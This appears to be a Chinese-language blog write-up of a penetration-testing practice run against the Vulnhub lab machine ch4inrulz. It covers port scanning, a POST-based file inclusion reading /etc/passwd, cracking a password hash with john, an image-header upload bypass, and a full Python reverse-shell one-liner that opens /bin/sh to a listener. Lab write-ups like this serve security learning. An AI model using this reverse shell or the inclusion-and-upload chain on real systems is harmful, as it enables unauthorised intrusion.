Vulnhub靶场 ch4inrulz渗透学习
前言
早就知道Vulnhub有很多非常好的靶机供练习,但是不知咋的我的网页上没有下载链接,最后发现阔以直接通过https://download.vulnhub.com/checksum.txt
这个校检MD5值的列表来获取到链接,下载速度比较慢,找了个小点的靶机上手试试
正文
通过netdiscover得知靶机IP为192.168.1.105,上nmap扫描端口:
1 | ➜ ~ nmap A 192.168.1.105 |
21端口允许匿名登录,但好像就没什么东西了
80端口是一个Web页面,目录扫描并没发现有用的信息,仅development目录存在一个http认证弹窗
8011端口是一个标题为Development的页面,目录扫描发现存在api目录,访问提示有四个文件,但只有一个files_api.php
文件访问存在,提示:
No parameter called file passed to me
* Note : this API don’t use json , so send the file name in raw format
猜测是个文件包含点,传入file=/etc/passwd
警告hacker攻击,改为POST方式成功包含
想到包含一下ssh日志文件getshell,但是失败了,阔能是没有权限,思路中断
(偷看writeup)发现80端口下还有一个备份index.html.bak,下载下来看一下:
1 | <html><body><h1>It works!</h1> |
提示了development目录的认证用户密码,也不知道是啥加密方式,通过工具john阔以解出密码来为frank!!!,该工具主要针对Unix弱密码解密
拿着密码,访问80端口中的development目录,提示有个上传点,扫描目录发现有个uploader目录
其中是一个图片上传点,想着上传一个图片马上去,由于网站有检测,需要添加图片标志头,上传成功有返回信息:
File is an image - image/gif.The file a.gif has been uploaded to my uploads path.
(偷看writeup)这里需要通过组合字典去爆破文件路径,得到FRANKuploads目录,我了个去。
包含图片马getshell后,直接反弹shell不成功,查看了下靶机有perl和python,阔以用来弹shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.102",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
后面的提权部分,看了writeup也没搞定,算了这方面我也没啥兴趣
最后
期间偷瞄的writeup来自:https://xz.aliyun.com/t/2593
做完后还看了这篇:https://blog.techorganic.com/2018/08/19/ch4inrulz-hacking-challenge/
两篇文章都是用的php来反弹shell,且后面这位收集信息做得非常充分,在判断上传文件路径时,也是通过php伪协议来读取了上传脚本,其中就有完整的上传路径
回过头来看,如果没有这么个上传点,那么包含日志文件可能是非常好的方向,毕竟ftp和ssh都是比较常见的服务